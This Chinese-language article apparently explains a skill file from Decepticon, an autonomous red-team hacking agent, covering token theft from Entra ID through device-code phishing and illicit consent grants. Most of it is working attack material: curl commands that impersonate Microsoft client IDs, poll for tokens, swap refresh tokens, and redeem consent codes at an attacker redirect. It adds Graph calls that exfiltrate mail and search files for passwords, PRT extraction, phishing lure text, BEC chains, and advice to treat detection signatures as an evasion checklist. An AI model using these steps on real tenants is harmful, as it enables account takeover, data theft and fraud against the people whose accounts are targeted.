☰
Decepticon 技能实战:Entra 设备码与非法同意钓鱼的 OAuth 令牌窃取全流程
2026/10/14 17:14:19 网站建设 项目流程

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址:https://gitcode.com/gh_mirrors/de/Decepticon
点击查看免费下载

本篇以 Decepticon 仓库中云域技能 entra-device-code-phishing/SKILL.md 为主体,完整还原 Entra ID 场景下两大 OAuth 初始访问原语——设备码(device-code)钓鱼与非法同意授权(illicit consent grant)——的实战流程,包括 FOCI 令牌互换、Graph 令牌重放、主刷新令牌(PRT)滥用、攻击链组合、检测签名与决策门。读者将掌握如何在授权红队演练中,不持有任何密码的前提下完成 Entra ID 令牌窃取,并理解 Decepticon 技能体系如何通过 frontmatter 元数据、load_skill加载链路与技能审计规则把这份知识工程化地交付给 Agent。

技能定位:云域初始访问的"无密码"令牌窃取原语

该技能位于 Decepticon 技能库的云(cloud)子域,与entra-privesc、entra-conditional-access-bypass、entra-enum、m365-mailbox-compromise、aws-iam-enum、s3-takeover等技能并列(参见 cloud 目录索引),聚焦 Azure / Entra ID 侧的令牌级初始访问,而不是凭据收割。

技能文件开头的 YAML frontmatter 是 Decepticon 技能体系的关键契约(---分隔的 YAML 块加 Markdown 正文,解析逻辑见 frontmatter.py):

--- name: entra-device-code-phishing description: "Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts." allowed-tools: Bash Read Write metadata: when_to_use: "entra device code phishing oauth illicit consent malicious app registration delegated scopes refresh token replay prt primary refresh token tokentactics graphrunner" subdomain: cloud tags: azure, entra-id, phishing, oauth, token-theft mitre_attack: T1528, T1566.002, T1078.004, T1550.001 ---

字段含义与仓库侧约束如下:

  • name/description:技能的唯一标识与摘要。技能审计要求这两项顶层字段非空,否则触发R-missing-required违规(见 rules.py),且name在整个语料库中必须唯一(scan_corpus会索引全部 frontmatter 的name,重名触发R-duplicate-name,见 cli.py)。
  • metadata.subdomain: cloud:技能分组字段。SkillsMiddleware按 subdomain 把技能归类渲染进系统提示词(见 middleware/skills.py),审计器要求 subdomain 必须是规范化值或其别名(R-bad-subdomain)。
  • metadata.when_to_use:触发关键词列表,Agent 的目标匹配机制。当任务目标中出现device code、illicit consent、refresh token replay、prt、tokentactics、graphrunner等词时,Agent 应优先加载本技能再行动。
  • metadata.mitre_attack:ATT&CK 技术编号T1528(窃取应用访问令牌)、T1566.002(网络钓鱼:鱼叉式链接)、T1078.004(有效账户:云账户)、T1550.001(应用程序访问令牌滥用)。审计器会逐个校验编号格式(R-bad-mitre-format,见 rules.py),并强制攻击性技能至少具备mitre_attack、aatmf_tactic或upstream_ref之一作为归因(R-no-attribution,见 rules.py)。
  • allowed-tools: Bash Read Write:声明本技能运行所需的最小工具集。

运行时加载机制

技能正文并不常驻系统提示词,而是通过load_skill按需加载。SkillsMiddleware(middleware/skills.py)构建load_skill工具(tools/skills.py),其路径契约包括:路径必须以/skills/开头、必须是.md文件、拒绝..路径穿越、必须命中 Agent 的 skill 来源白名单(tools/skills.py)。解析器支持三种查询方式(skills_registry.py):

  • 完整虚拟路径:load_skill("/skills/standard/cloud/entra-device-code-phishing/SKILL.md");
  • 相对路径:load_skill("standard/cloud/entra-device-code-phishing/SKILL.md");
  • 唯一 slug:load_skill("entra-device-code-phishing")(歧义时返回候选列表,不做静默猜测)。

加载后工具会剥离 frontmatter、附带 base 目录头与 references/ 兄弟文件索引,返回完整正文(无行数截断)。运行时该技能可以被/skills/standard/cloud/SKILL.md索引表或 phisher 工作流中的任务目标触发。

为什么不需要密码:两个 OAuth 原语

技能开篇点明核心目标——"Steal Entra ID tokens without ever owning the password"(不持有密码也能窃取 Entra ID 令牌)。两个主要原语:

  1. 设备码钓鱼(Device-code phishing)——滥用 OAuth 2.0 设备授权授权流(RFC 8628):攻击者发起设备码请求,诱导目标在真实的微软登录页面microsoft.com/devicelogin输入攻击者提供的用户码;
  2. 非法同意授权(Illicit consent grant)——攻击者在自己的租户注册多租户应用,诱导用户对委派的 Graph 权限点击"接受"。

两者的共同点是:受害者是在真实 IdP(identity provider)上完成认证的,登录环节的 MFA 已经被用户自己完成,因此攻击天然绕过"登录时 MFA",且最终拿到的令牌作用域广泛(broad scope)。

Phase 1:设备码流程

1.1 请求设备码

设备码流程第一步是向 Entra 的/oauth2/v2.0/devicecode端点请求设备码。技能文档给出的关键技巧是使用第一方(first-party)客户端 ID——即伪装成微软自家应用,这样不会弹出同意提示(no consent prompt):

# Use a first-party client ID (impersonate a Microsoft app — no consent prompt). # AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46 # Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264 # Office: d3590ed6-52b3-4102-aeff-aad2292ab01c CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46 TENANT=<TENANT> # or "common" resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \ -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile") echo "$resp" | jq . DEV_CODE=$(echo "$resp" | jq -r .device_code) USER_CODE=$(echo "$resp" | jq -r .user_code) echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE"

参数要点:

  • client_id:第一方客户端 ID(如上注释中的 AzureCLI / Teams / Office 三个),避免同意提示;其中 Office 客户端d3590ed6-52b3-4102-aeff-aad2292ab01c在仓库中另一个互补技能 o365-credential-harvest/SKILL.md 里也作为示例使用;
  • scope:https://graph.microsoft.com/.default请求 Graph 的全部默认权限,offline_access换取 refresh token,openid profile附带用户身份声明;
  • 响应中的device_code是攻击者后续轮询的凭证,user_code是要发给受害者的短码,verification_uri即microsoft.com/devicelogin。

1.2 诱饵投递(Pretext delivery)

技能文档给出的投递模板:发送邮件或 Teams 消息,话术如"To join the secure briefing, openmicrosoft.com/deviceloginand enter code<USER_CODE>. Code expires in 15 minutes."("加入安全简报请打开microsoft.com/devicelogin并输入代码<USER_CODE>,代码 15 分钟内有效")。

关键点:URL 和品牌都是合法的微软页面,这让它能够穿透大多数安全邮件网关的链接信誉检查。仓库的phisher子域技能也明确要求设备码诱饵必须先经过lure-deconfliction(诱饵去冲突)握手流程,避免与既有钓鱼活动撞车(见 o365-credential-harvest/SKILL.md)。

1.3 轮询换取令牌

用户输入代码并完成认证后,攻击者持续轮询/oauth2/v2.0/token端点:

while :; do r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}") err=$(echo "$r" | jq -r .error) case "$err" in authorization_pending) sleep 5 ;; null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;; *) echo "ERR: $err" ; break ;; esac done

轮询语义要点:

  • authorization_pending:用户尚未完成登录,等待 5 秒后继续轮询——这是设备码授权流的正常状态码,也是蓝队检测中"高频轮询"信号的可能来源;
  • 响应为null(无 error 字段):登录成功,从响应中提取access_token与refresh_token并跳出循环;
  • 其他错误(如expired_token、access_denied、bad_verification_code):打印后终止。

1.4 FOCI 家族客户端 ID——一个令牌通吃所有微软应用

技能文档强调上述第一方客户端属于FOCI(Family of Client IDs)家族。FOCI 允许把 refresh token 在家族内任意应用间互换,无需重新同意:

# Swap to Outlook for mailbox access: curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \ -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"

即:用 AzureCLI 客户端(04b07795-...)钓来的 refresh token,可以直接换到 Outlook 客户端(d3590ed6-...)获取邮箱资源令牌。这意味着一次设备码钓鱼获得的是通往家族内所有微软应用的门票。TokenTactics/TokenTacticsV2(PowerShell)自动化了这一互换矩阵。仓库的 o365-credential-harvest/SKILL.md 将该模式总结为 TokenTactics 模式:捕获的 refresh token 可分别对 Graph、Outlook、SharePoint、Teams 等不同资源作用域换取 access token,全程无需重新认证。

Phase 2:非法同意授权(恶意应用注册)

2.1 注册攻击者应用

第二原语不再依赖用户输码,而是让用户对恶意应用的委派权限点击同意:

# Register in YOUR attacker tenant (multi-tenant). # Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA # Add delegated scopes (NO admin consent needed): # Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile # Capture App (client) ID = APP_ID APP_ID=<APP_ID>

注册要点:

  • 应用必须注册为多租户(multi-tenant)+ 个人 MSA,这样才能让目标租户的用户授权;
  • 重定向 URI 指向攻击者控制的https://<ATTACKER>/redirect,用于接收授权码;
  • 声明的权限是委派权限(delegated scopes):Mail.Read、Mail.Send、Files.Read.All、offline_access、openid、profile——委派权限通常不需要管理员同意即可由普通用户授权。

2.2 构造同意 URL

SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access" REDIR=https://<ATTACKER>/redirect echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"

构造好的授权 URL 发送给目标。技巧要点:

  • 将应用命名为Contoso HR Portal之类与目标组织气质相符的名字——同意页面上展示的正是你注册应用时填写的应用名(Microsoft renders YOUR app name on the consent screen);
  • 若目标租户启用了低风险委派权限的用户同意(技能文档指出这是许多租户的默认配置),用户只需单击"接受"(single-click "Accept"),攻击者即可获得令牌。

2.3 在重定向端点交换授权码

用户在同意页完成后,浏览器带code参数跳转到攻击者的重定向端点。攻击者在自己的服务器上接收授权码并换取令牌:

CODE=<CODE_FROM_REDIRECT> curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \ -d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \ | jq .

grant_type=authorization_code携带授权码、redirect_uri必须与注册时一致(OAuth 强校验),配合应用的client_secret完成兑换。返回的access_token与refresh_token即落入攻击者手中。365-Stealer工具将整个非法同意流程自动化。

Phase 3:令牌重放

拿到令牌后进入数据访问阶段——用 Graph API 重放 access token:

# Mail exfil curl -s -H "Authorization: Bearer $ACCESS" \ "https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq . # OneDrive exfil curl -s -H "Authorization: Bearer $ACCESS" \ "https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq . # Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants) curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \ -d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"

三个动作分别对应:邮件外泄(/me/messages)、OneDrive 敏感文件搜索(drive/root/search查找含password的文件)、以及用 refresh token 持续续期(文档注明的 TTL 参考:消费者账户不活跃 90 天失效,受条件访问保护的租户默认 14 天)。

"有趣的是令牌,真正有价值的是 Graph 调用返回的受害者邮箱/目录数据"——仓库互补技能 o365-credential-harvest/SKILL.md 给出了同样的验证口径:curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me返回受害者身份数据才算形成发现(finding)。该技能还明确了证据落盘规范:令牌归入Credential节点(类型oauth-token,带 scope 与过期时间)并链接到User节点,证据仅存于evidence/phisher/与知识图谱中。

此外,令牌重放后如果拿到的权限足够,可进一步衔接云域兄弟技能 entra-privesc/SKILL.md 的"服务主体凭据添加(service-principal credential addition)"路径:对高权限 SP 调用addPassword/addKey植入攻击者控制的凭据,实现抵抗密码重置的持久化。

Phase 4:主刷新令牌(PRT)概念

PRT(Primary Refresh Token,主刷新令牌)是颁发给Entra 加入 / Entra 注册的 Windows 设备的长寿命令牌,与设备 TPM 中的设备密钥绑定。攻击前提是已在设备上获得 SYSTEM 权限(通常来自设备端 RCE):

# ROADtools roadtx (post-exploitation, requires local SYSTEM): roadtx prt -u <UPN> # extract PRT cookie via BrowserCore roadtx browserprtauth # use PRT to silently auth as the user → tokens for any FOCI app # Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.

要点:

  • roadtx prt -u <UPN>:经 BrowserCore 提取用户的 PRT cookie;
  • roadtx browserprtauth:用 PRT 静默认证为用户,换取任意 FOCI 应用的令牌;
  • 另有 Lee Christensen / Dirk-jan 的公开 PoC:请求 PRT + 会话密钥,铸造x-ms-RefreshTokenCredentialcookie。

技能文档给出的评估结论是:被盗的 PRT 实质上等于用户身份,直到设备被吊销(device revocation)——即使 MFA 也不会被重新提示,因为 PRT 本身已携带 MFA 声明(PRT already carries MFA claim)。

攻击链(Chains)

技能文档把上述原语编排为四条典型攻击链:

  • 设备码钓鱼 → FOCI 互换 → Outlook + OneDrive 外泄 → Teams 诱饵 → 第二个受害者:一次设备码钓鱼形成横向循环,利用受害者身份向组织内继续扩散;
  • 非法同意 → Mail.Send 委派 → 从受害者邮箱发起内部钓鱼(BEC):拿到Mail.Send后,用受害者自己的身份向内部发钓鱼邮件,构成商业电子邮件欺诈(BEC)链;
  • 对管理员设备码钓鱼 → Graph 提权:衔接 entra-privesc 的"服务主体凭据添加"小节;
  • PRT 窃取(加入设备 RCE 之后)→ 应用令牌永续:直到设备被禁用。

四条链的共性是从"一次无密码认证"逐步升级到"组织级持久访问",这正是本技能作为云域初始访问入口的价值所在。

工具矩阵

技能文档列出可落地的工具集(均为项目引用的公开红队工具,本文不做外部链接):

工具用途
TokenTactics / TokenTacticsV2(Steve Borosh)PowerShell 实现设备码流程 + FOCI 互换矩阵
GraphRunner(Beau Bullock)用窃取的令牌拉取邮件/文件/Teams,经同意授权横向
roadtx(ROADtools)完整支持设备码流程 + PRT 提取/认证
365-Stealer非法同意授权自动化
o365 attack toolkit / Evilginx Microsoft phishlet备选路径(完整中间人 MitM 攻击)

检测签名

技能文档给出了四类蓝队检测视角(对 Defenders 同样是一份签名清单):

  • Entra 登录日志:Application = Microsoft Authentication Broker或Microsoft Azure CLI,且来自异常 ASN/国家——设备码滥用的标志性特征;
  • 审计日志:Consent to application事件,ConsentType=User且Scopes含Mail.Read/Files.Read.All,发起者是非 IT 身份——非法同意授权的特征;
  • Microsoft Defender for Cloud Apps:Unusual addition of credentials to an OAuth app告警;
  • 风险登录(Risky sign-in):unfamiliarFeatures+anonymousIP,由 Tor/VPS 上的令牌重放触发。

决策门(Decision gate)

技能文档以决策门收尾,帮助 Agent 按环境条件选择最优路径:

  • 条件访问(CA)拦截未托管设备→ 使用 FOCI 互换切换到 CA 豁免范围更宽(如Microsoft Intune Enrollment)的客户端;
  • 租户已禁用用户同意→ 只剩管理员同意路径 → 社交工程一名 Global Admin 或利用既有应用所有者身份;
  • 经同意拿到 Global Admin→ 转入 entra-privesc 做应用凭据持久化(可抵抗密码重置);
  • 只拿到邮箱令牌→ 在 refresh token 过期前用Mail.Send执行 BEC 剧本。

在 Decepticon 中的工程化落地

这份技能在 Decepticon 中不是孤立文档,而是完整技能流水线的一环:

  1. 交付:以 SKILL.md + frontmatter 形式存放在packages/decepticon/decepticon/skills/standard/cloud/下,与攻击链上游的 cloud 索引 和下游的 entra-privesc 形成技能链;
  2. 发现:技能注册表(skills_registry.py)递归扫描技能树,为每个 SKILL.md 建立SkillRecord(id/slug/name/description),支持按 slug 或模糊匹配解析;
  3. 注入:SkillsMiddleware(middleware/skills.py)把技能目录按 subdomain 分组渲染进 Agent 系统提示词,展示描述、MITRE 编号与when_to_use触发词,Agent 匹配目标后经load_skill按需加载完整正文;
  4. 审计:技能审计 CLI(python -m decepticon.skill_audit --mode strict,见 cli.py)扫描语料库,强制执行 required 字段、规范化 subdomain、MITRE 编号格式与攻击性技能归因等规则,确保进入 Agent 上下文的知识是结构化、可追溯的;
  5. 约束:本技能及同类攻击性技能必须在授权红队场景中使用。仓库在中间件层提供了 RoE 规则执行引擎(decepticon/middleware/roe.py),互补技能 o365-credential-harvest/SKILL.md 明确要求:遵守lure-deconfliction握手、把 refresh token 视为最敏感工件并记录过期时间、绝不过度读取目标邮箱/Graph 数据,遵循plan/roe.json:data_handling的数据处理边界。

实战提示:设备码钓鱼的全部价值在于"受害者面向真实 IdP 完成 MFA"这一事实——也因此所有设备码请求、轮询与同意事件都会沉淀在 Entra 登录/审计日志中,攻击者应把 检测签名 一节当作 OPSEC 清单反向使用(异常 ASN 登录、低频轮询、低权限身份授权 Graph 读权限均是暴露面),并在演练结束后立即吊销泄露的 refresh token 与恶意应用,防止演练资产被二次滥用。

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址:https://gitcode.com/gh_mirrors/de/Decepticon
点击查看免费下载

相关推荐

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询